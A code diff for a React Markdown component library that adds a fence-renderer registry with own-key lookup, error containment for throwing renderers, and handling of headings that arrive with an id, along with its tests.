|
+
/** The registry's terminal fallback — also what an unsettled `settledOnly` renderer shows. */
|
|
67
|
+
const defaultFenceRenderer: FenceRenderer = ({ code, language, title, settled }) => (
|
|
68
|
+
<CodeBlock
|
|
69
|
+
code={code}
|
|
70
|
+
showCopy={settled}
|
|
71
|
+
{...(language !== undefined && { language })}
|
|
72
|
+
{...(title !== undefined && { title })}
|
|
73
|
+
/>
|
|
74
|
+
)
|
|
75
|
+
|
|
76
|
+
/**
|
|
77
|
+
* Wraps a renderer that is only worth running on finished text: renders the plain `CodeBlock`
|
|
78
|
+
* while the fence is still streaming, then `render` once its block settles. The built-in `mermaid`
|
|
79
|
+
* entry IS this — a consumer's own heavyweight fence (a chart spec, a diagram DSL) wants the same
|
|
80
|
+
* deal.
|
|
81
|
+
*
|
|
82
|
+
* @example
|
|
83
|
+
* import { settledOnly } from 'basalt-ui/content'
|
|
84
|
+
*
|
|
85
|
+
* <Markdown fenceRenderers={{ vega: settledOnly(({ code }) => <VegaChart spec={code} />) }}>
|
|
86
|
+
*/
|
|
87
|
+
export function settledOnly(render: FenceRenderer): FenceRenderer {
|
|
88
|
+
return (ctx) => (ctx.settled ? render(ctx) : defaultFenceRenderer(ctx))
|
|
89
|
+
}
|
|
90
|
+
|
|
91
|
+
/** basalt's own fence renderers. A consumer entry for the same key wins over these. */
|
|
92
|
+
export const BUILT_IN_FENCE_RENDERERS: FenceRenderers = {
|
|
93
|
+
mermaid: settledOnly(({ code }) => <MermaidDiagram code={code} />),
|
|
94
|
+
}
|
|
95
|
+
|
|
96
|
+
// ── FenceBlock ────────────────────────────────────────────────────────────────────────────────
|
|
97
|
+
|
|
98
|
+
/**
|
|
99
|
+
* The raw meta string lives on the `code` child's `data.meta` (mdast-util-to-hast puts it there,
|
|
100
|
+
* never on the surrounding `pre`). `extractFenceInfo` parses `title="…"` out of it but does not
|
|
101
|
+
* surface the raw string, and widening `FenceInfo` is not this module's call — so read it here.
|
|
102
|
+
*/
|
|
103
|
+
function extractFenceMeta(preNode: Element): string | undefined {
|
|
104
|
+
const codeNode = preNode.children.find(
|
|
105
|
+
(child): child is Element => child.type === 'element' && child.tagName === 'code',
|
|
106
|
+
)
|
|
107
|
+
const data = codeNode?.data as { meta?: string } | undefined
|
|
108
|
+
return data?.meta
|
|
109
|
+
}
|
|
110
|
+
|
|
18
111
|
export type FenceBlockProps = {
|
|
19
112
|
readonly node?: Element
|
|
20
113
|
readonly settled: boolean
|
|
114
|
+
/** Consumer overrides, consulted BEFORE `BUILT_IN_FENCE_RENDERERS`. */
|
|
115
|
+
readonly renderers?: FenceRenderers
|
|
116
|
+
}
|
|
117
|
+
|
|
118
|
+
/**
|
|
119
|
+
* Registry lookup restricted to OWN keys — the only safe way to index either registry.
|
|
120
|
+
*
|
|
121
|
+
* `language` is the fence info string, so it is MODEL-CONTROLLED: `markdown-hast.ts` reads it off
|
|
122
|
+
* the `language-*` class, and `defaultSchema.attributes.code` (`[['className', /^language-./]]`)
|
|
123
|
+
* lets any such class through the sanitize pass. Both registries are plain object literals, so a
|
|
124
|
+
* bare `map[language]` resolves `Object.prototype` members and the `??` fallback never fires:
|
|
125
|
+
* ` ```valueOf `, ` ```hasOwnProperty ` and ` ```isPrototypeOf ` THREW when the resolved method was
|
|
126
|
+
* called unbound, ` ```__proto__ ` threw on a non-callable, and ` ```toString `/` ```constructor `
|
|
127
|
+
* rendered garbage. `Object.hasOwn` also rejects `__proto__` in a consumer literal (that key sets
|
|
128
|
+
* the prototype rather than defining an own property), and the `typeof` gate covers a consumer map
|
|
129
|
+
* that reached here through a cast with a non-function value.
|
|
130
|
+
*/
|
|
131
|
+
function lookupFenceRenderer(
|
|
132
|
+
registry: FenceRenderers | undefined,
|
|
133
|
+
language: string,
|
|
134
|
+
): FenceRenderer | undefined {
|
|
135
|
+
if (registry === undefined || !Object.hasOwn(registry, language)) return undefined
|
|
136
|
+
const candidate = registry[language]
|
|
137
|
+
return typeof candidate === 'function' ? candidate : undefined
|
|
21
138
|
}
|
|
22
139
|
|
|
23
|
-
|
|
140
|
+
// ── Throw containment ────────────────────────────────────────────────────────────────────────────
|
|
141
|
+
|
|
142
|
+
/** A `useRef(false)` handle, mutated in place — same per-instance "warn once" idiom as
|
|
143
|
+
* `useHoverSync`'s `warnedRef` (`charts/hooks/useHoverSync.ts`) rather than a module-level
|
|
144
|
+
* singleton: a singleton would make the FIRST fence anywhere in the process to throw silence the
|
|
145
|
+
* warning for every OTHER, unrelated broken fence for the rest of the run (and, worse, for every
|
|
146
|
+
* later test in this suite — this file has module-singleton order-dependence history). Scoping the
|
|
147
|
+
* gate to one `FenceBlock`'s `useRef` means each rendered fence position gets its own warning, reset
|
|
148
|
+
* only on remount, and unrelated fences/tests never interact through it. */
|
|
149
|
+
type WarnedGate = { current: boolean }
|
|
150
|
+
|
|
151
|
+
/**
|
|
152
|
+
* Formats + emits the dev-only "a fence renderer threw" warning at most once per `warned` gate.
|
|
153
|
+
* Shared by BOTH containment paths below (`renderFenceSafely`'s try/catch and
|
|
154
|
+
* `FenceRenderBoundary.componentDidCatch`) so a fence that throws via either mechanism still only
|
|
155
|
+
* warns once. Mirrors the `process.env['NODE_ENV'] + console.warn('[basalt] …')` idiom used by
|
|
156
|
+
* `agent/merge.ts`'s `clampOffset` — including leaving the resulting oxlint `no-console` warning
|
|
157
|
+
* unsuppressed, the established convention in this package.
|
|
158
|
+
*/
|
|
159
|
+
function warnFenceRendererThrew(warned: WarnedGate, error: unknown): void {
|
|
160
|
+
if (warned.current) return
|
|
161
|
+
warned.current = true
|
|
162
|
+
if (process.env['NODE_ENV'] !== 'production') {
|
|
163
|
+
console.warn(
|
|
164
|
+
'[basalt] FenceBlock: a fence renderer threw — falling back to the default CodeBlock rendering.',
|
|
165
|
+
error,
|
|
166
|
+
)
|
|
167
|
+
}
|
|
168
|
+
}
|
|
169
|
+
|
|
170
|
+
/**
|
|
171
|
+
* Calls `render(ctx)` inside a try/catch — contains a SYNCHRONOUS throw from the renderer FUNCTION
|
|
172
|
+
* itself (e.g. `JSON.parse(code)` failing before the renderer ever returns anything). This catch
|
|
173
|
+
* sits in the same call stack as the invocation, so it only ever sees a throw that happens INSIDE
|
|
174
|
+
* this call — never one from a component the renderer merely returns as a descriptor (React invokes
|
|
175
|
+
* that component's own function body later, in a stack frame this function has already returned
|
|
176
|
+
* from — see `FenceRenderBoundary` for that case).
|
|
177
|
+
*
|
|
178
|
+
* Also resolves the decline convention here: `undefined` falls back to `defaultFenceRenderer`;
|
|
179
|
+
* `null` (or any other `ReactNode`) passes through unchanged.
|
|
180
|
+
*/
|
|
181
|
+
function renderFenceSafely(
|
|
182
|
+
render: FenceRenderer,
|
|
183
|
+
ctx: FenceRenderContext,
|
|
184
|
+
warned: WarnedGate,
|
|
185
|
+
): ReactNode {
|
|
186
|
+
let rendered: ReactNode
|
|
187
|
+
try {
|
|
188
|
+
rendered = render(ctx)
|
|
189
|
+
} catch (error) {
|
|
190
|
+
warnFenceRendererThrew(warned, error)
|
|
191
|
+
return defaultFenceRenderer(ctx)
|
|
192
|
+
}
|
|
193
|
+
return rendered === undefined ? defaultFenceRenderer(ctx) : rendered
|
|
194
|
+
}
|
|
195
|
+
|
|
196
|
+
type FenceRenderBoundaryProps = {
|
|
197
|
+
readonly ctx: FenceRenderContext
|
|
198
|
+
readonly warned: WarnedGate
|
|
199
|
+
readonly children: ReactNode
|
|
200
|
+
}
|
|
201
|
+
type FenceRenderBoundaryState = { hasError: boolean }
|
|
202
|
+
|
|
203
|
+
/**
|
|
204
|
+
* Contains a throw from the SUBTREE a `FenceRenderer` RETURNS — e.g.
|
|
205
|
+
* `settledOnly(({ code }) => <VegaChart spec={code} />)` where `VegaChart` itself throws while
|
|
206
|
+
* parsing `code` during ITS OWN render. `renderFenceSafely`'s try/catch cannot reach this case:
|
|
207
|
+
* `<VegaChart spec={code} />` is only a descriptor at the point the renderer returns it — React
|
|
208
|
+
* invokes `VegaChart`'s function body later, during its own render pass, outside the stack frame
|
|
209
|
+
* `renderFenceSafely` controls. An error boundary is the only mechanism that reaches a render-phase
|
|
210
|
+
* throw at that depth.
|
|
211
|
+
*
|
|
212
|
+
* `key={ctx.code}` at the call site (below) remounts this boundary — fresh `hasError: false` — every
|
|
213
|
+
* time the fence body changes, so a still-streaming fence that starts malformed and later becomes
|
|
214
|
+
* valid gets a genuine retry instead of staying permanently tripped.
|
|
215
|
+
*
|
|
216
|
+
* KNOWN GAP (standard React error-boundary limits): a throw from an event handler, from an effect
|
|
217
|
+
* running after an already-successful commit, or from asynchronous code is NOT caught here — only a
|
|
218
|
+
* throw during the RENDER of the returned subtree is contained.
|
|
219
|
+
*/
|
|
220
|
+
class FenceRenderBoundary extends Component<FenceRenderBoundaryProps, FenceRenderBoundaryState> {
|
|
221
|
+
constructor(props: FenceRenderBoundaryProps) {
|
|
222
|
+
super(props)
|
|
223
|
+
this.state = { hasError: false }
|
|
224
|
+
}
|
|
225
|
+
|
|
226
|
+
static getDerivedStateFromError(): FenceRenderBoundaryState {
|
|
227
|
+
return { hasError: true }
|
|
228
|
+
}
|
|
229
|
+
|
|
230
|
+
override componentDidCatch(error: unknown): void {
|
|
231
|
+
warnFenceRendererThrew(this.props.warned, error)
|
|
232
|
+
}
|
|
233
|
+
|
|
234
|
+
override render(): ReactNode {
|
|
235
|
+
return this.state.hasError ? defaultFenceRenderer(this.props.ctx) : this.props.children
|
|
236
|
+
}
|
|
237
|
+
}
|
|
238
|
+
|
|
239
|
+
export function FenceBlock({ node, settled, renderers }: FenceBlockProps) {
|
|
240
|
+
const warned = useRef(false)
|
|
24
241
|
const fence = node ? extractFenceInfo(node) : undefined
|
|
25
242
|
if (!fence) return null
|
|
26
243
|
|
|
27
|
-
|
|
28
|
-
|
|
244
|
+
const meta = node ? extractFenceMeta(node) : undefined
|
|
245
|
+
const ctx: FenceRenderContext = {
|
|
246
|
+
code: fence.code,
|
|
247
|
+
settled,
|
|
248
|
+
...(fence.language !== undefined && { language: fence.language }),
|
|
249
|
+
...(fence.title !== undefined && { title: fence.title }),
|
|
250
|
+
...(meta !== undefined && { meta }),
|
|
29
251
|
}
|
|
30
252
|
|
|
253
|
+
const language = fence.language
|
|
254
|
+
const render =
|
|
255
|
+
language === undefined
|
|
256
|
+
? undefined
|
|
257
|
+
: (lookupFenceRenderer(renderers, language) ??
|
|
258
|
+
lookupFenceRenderer(BUILT_IN_FENCE_RENDERERS, language))
|
|
259
|
+
const active = render ?? defaultFenceRenderer
|
|
260
|
+
|
|
31
261
|
return (
|
|
32
|
-
<
|
|
33
|
-
|
|
34
|
-
|
|
35
|
-
{...(fence.language !== undefined && { language: fence.language })}
|
|
36
|
-
{...(fence.title !== undefined && { title: fence.title })}
|
|
37
|
-
/>
|
|
262
|
+
<FenceRenderBoundary key={ctx.code} ctx={ctx} warned={warned}>
|
|
263
|
+
{renderFenceSafely(active, ctx, warned)}
|
|
264
|
+
</FenceRenderBoundary>
|
|
38
265
|
)
|
|
39
266
|
}
|
|
@@ -0,0 +1,65 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* heading-components — the slug/anchor/foreign-id contract (docs/CONTENT-SPEC.md §2 decision 6 /
|
|
3
|
+
* §7). `createHeadingComponents` builds one renderer per level against a shared `SlugTracker`; each
|
|
4
|
+
* test below builds its OWN tracker so a slug-collision counter never leaks across cases.
|
|
5
|
+
*
|
|
6
|
+
* `createHeadingComponents` is not part of the public surface (not re-exported by `./index`), same
|
|
7
|
+
* test idiom as `composeRehypePlugins` in `./markdown.test.tsx` — imported straight from the module.
|
|
8
|
+
*/
|
|
9
|
+
import type { ComponentType, JSX } from 'react'
|
|
10
|
+
import type { Components, ExtraProps } from 'react-markdown'
|
|
11
|
+
import { MantineProvider } from '@mantine/core'
|
|
12
|
+
import { render, screen } from '@testing-library/react'
|
|
13
|
+
import { describe, expect, test } from 'bun:test'
|
|
14
|
+
import { createHeadingComponents } from './heading-components'
|
|
15
|
+
import { SlugTracker } from './slug'
|
|
16
|
+
|
|
17
|
+
function renderHeading(ui: React.ReactElement) {
|
|
18
|
+
return render(<MantineProvider>{ui}</MantineProvider>)
|
|
19
|
+
}
|
|
20
|
+
|
|
21
|
+
type HeadingProps = JSX.IntrinsicElements['h2'] & ExtraProps
|
|
22
|
+
|
|
23
|
+
/** Narrows `Components['h2']` (`ComponentType | keyof JSX.IntrinsicElements | undefined`) down to
|
|
24
|
+
* the function component `createHeadingComponents` actually builds — no cast, a runtime check. */
|
|
25
|
+
function h2Of(components: Partial<Components>): ComponentType<HeadingProps> {
|
|
26
|
+
const H2 = components.h2
|
|
27
|
+
if (typeof H2 !== 'function') throw new Error('expected createHeadingComponents to build h2')
|
|
28
|
+
return H2
|
|
29
|
+
}
|
|
30
|
+
|
|
31
|
+
describe('heading-components', () => {
|
|
32
|
+
test('an ordinary heading is slugged, gets an id, and gets the anchor affordance', () => {
|
|
33
|
+
const H2 = h2Of(createHeadingComponents(new SlugTracker()))
|
|
34
|
+
renderHeading(<H2>Introduction</H2>)
|
|
35
|
+
|
|
36
|
+
const heading = screen.getByRole('heading', { level: 2, name: 'Introduction' })
|
|
37
|
+
expect(heading.id).toBe('introduction')
|
|
38
|
+
expect(screen.getByLabelText('Copy link to section')).toBeDefined()
|
|
39
|
+
})
|
|
40
|
+
|
|
41
|
+
test('a heading arriving with an id keeps that id instead of the slugged one', () => {
|
|
42
|
+
const H2 = h2Of(createHeadingComponents(new SlugTracker()))
|
|
43
|
+
renderHeading(<H2 id="footnote-label">Footnotes</H2>)
|
|
44
|
+
|
|
45
|
+
// The slugger would produce 'footnotes' — the incoming id must win outright.
|
|
46
|
+
const heading = screen.getByRole('heading', { level: 2, name: 'Footnotes' })
|
|
47
|
+
expect(heading.id).toBe('footnote-label')
|
|
48
|
+
})
|
|
49
|
+
|
|
50
|
+
test('a heading arriving with a class keeps it', () => {
|
|
51
|
+
const H2 = h2Of(createHeadingComponents(new SlugTracker()))
|
|
52
|
+
renderHeading(<H2 className="sr-only">Footnotes</H2>)
|
|
53
|
+
|
|
54
|
+
const heading = screen.getByRole('heading', { level: 2, name: 'Footnotes' })
|
|
55
|
+
expect(heading.className).toBe('sr-only')
|
|
56
|
+
})
|
|
57
|
+
|
|
58
|
+
test('a heading that keeps its own id is not given the anchor affordance', () => {
|
|
59
|
+
const H2 = h2Of(createHeadingComponents(new SlugTracker()))
|
|
60
|
+
renderHeading(<H2 id="footnote-label">Footnotes</H2>)
|
|
61
|
+
|
|
62
|
+
screen.getByRole('heading', { level: 2, name: 'Footnotes' })
|
|
63
|
+
expect(screen.queryByLabelText('Copy link to section')).toBeNull()
|
|
64
|
+
})
|
|
65
|
+
})
|
|
@@ -5,7 +5,19 @@
|
|
|
5
5
|
*
|
|
6
6
|
* Ids come from `SlugTracker` — pass a document-scoped instance for correct cross-heading dedup,
|
|
7
7
|
* or a fresh per-block instance in `Markdown`'s `streaming` mode (see that module's JSDoc for the
|
|
8
|
-
* accepted collision tradeoff there).
|
|
8
|
+
* accepted collision tradeoff there). That is the default path, for an ordinary prose heading with
|
|
9
|
+
* no id of its own.
|
|
10
|
+
*
|
|
11
|
+
* FOREIGN IDS: a heading can already arrive with an `id` — remark-gfm's footnotes section heading
|
|
12
|
+
* is one (`<h2 id="footnote-label" class="sr-only">Footnotes</h2>`, referenced by the surrounding
|
|
13
|
+
* `<section>`'s `aria-labelledby`), and a consumer's own `rehypePlugins` injecting a heading is
|
|
14
|
+
* another. The rule is general, not a footnote special case: an id this renderer did NOT assign is
|
|
15
|
+
* something else's address for that heading, and slugging over it breaks whatever points at it. So
|
|
16
|
+
* an incoming `id` wins outright — no re-slug, no dedup registration against `tracker` (the heading
|
|
17
|
+
* isn't part of this document's slug namespace), and no `HeadingAnchor` (the affordance's premise is
|
|
18
|
+
* "copy a link to the id THIS renderer just minted"; a foreign id's meaning is basalt's to respect,
|
|
19
|
+
* not to advertise). Every other incoming prop (`className` included) is forwarded either way — the
|
|
20
|
+
* one thing always stripped is the hast `node` handle, which must never reach the DOM.
|
|
9
21
|
*
|
|
10
22
|
* Not part of the public surface.
|
|
11
23
|
*/
|
|
@@ -38,12 +50,21 @@ function headingText(node: ReactNode): string {
|
|
|
38
50
|
|
|
39
51
|
function createHeadingRenderer(level: HeadingLevel, tracker: SlugTracker) {
|
|
40
52
|
const Tag = HEADING_TAGS[level]
|
|
41
|
-
|
|
42
|
-
|
|
53
|
+
// `node` is react-markdown's hast handle (`ExtraProps`) — read by neither branch, and must not
|
|
54
|
+
// reach the DOM, so it's stripped the same way `LinkRenderer` strips it in `./markdown`.
|
|
55
|
+
return function HeadingRenderer({ id, children, node: _node, ...rest }: HeadingProps) {
|
|
56
|
+
if (id !== undefined) {
|
|
57
|
+
return (
|
|
58
|
+
<Tag id={id} {...rest}>
|
|
59
|
+
{children}
|
|
60
|
+
</Tag>
|
|
61
|
+
)
|
|
62
|
+
}
|
|
63
|
+
const slug = tracker.slug(headingText(children))
|
|
43
64
|
return (
|
|
44
|
-
<Tag id={
|
|
65
|
+
<Tag id={slug} {...rest}>
|
|
45
66
|
{children}
|
|
46
|
-
<HeadingAnchor id={
|
|
67
|
+
<HeadingAnchor id={slug} />
|
|
47
68
|
</Tag>
|
|
48
69
|
)
|
|
49
70
|
}
|